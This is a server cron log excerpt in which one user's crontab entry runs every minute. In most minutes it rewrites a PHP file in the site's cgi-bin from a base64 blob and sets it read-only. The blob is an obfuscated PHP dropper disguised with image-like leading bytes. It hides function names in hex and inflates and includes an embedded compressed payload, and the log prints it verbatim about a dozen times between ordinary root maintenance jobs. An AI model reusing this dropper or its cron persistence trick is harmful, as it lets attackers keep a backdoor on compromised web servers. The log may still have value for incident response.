Sep  5 11:48:01 server CROND[12768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:49:01 server CROND[13143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:49:01 server CROND[13144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:49:01 server CROND[13145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:50:01 server CROND[13531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:50:01 server CROND[13533]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:50:01 server CROND[13535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:50:01 server CROND[13538]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:50:01 server CROND[13540]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:50:01 server CROND[13539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:50:01 server CROND[13541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:50:01 server CROND[13542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:50:01 server CROND[13543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:51:01 server CROND[14475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:51:01 server CROND[14476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:51:01 server CROND[14477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:52:01 server CROND[14843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:52:01 server CROND[14844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:52:01 server CROND[14845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:53:01 server CROND[15214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:53:01 server CROND[15215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:53:01 server CROND[15216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:54:01 server CROND[15584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:54:01 server CROND[15585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:54:01 server CROND[15587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:55:01 server CROND[15976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:55:01 server CROND[15978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:55:01 server CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:55:01 server CROND[15980]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:55:01 server CROND[15983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:55:01 server CROND[15979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:55:01 server CROND[15981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:56:01 server CROND[16957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:56:01 server CROND[16956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:56:01 server CROND[16958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:57:01 server CROND[17327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:57:01 server CROND[17329]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:57:01 server CROND[17328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:57:01 server CROND[17330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:58:01 server CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:58:01 server CROND[17755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:58:01 server CROND[17757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:59:01 server CROND[18131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:59:01 server CROND[18132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:59:01 server CROND[18135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:00:01 server CROND[18529]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
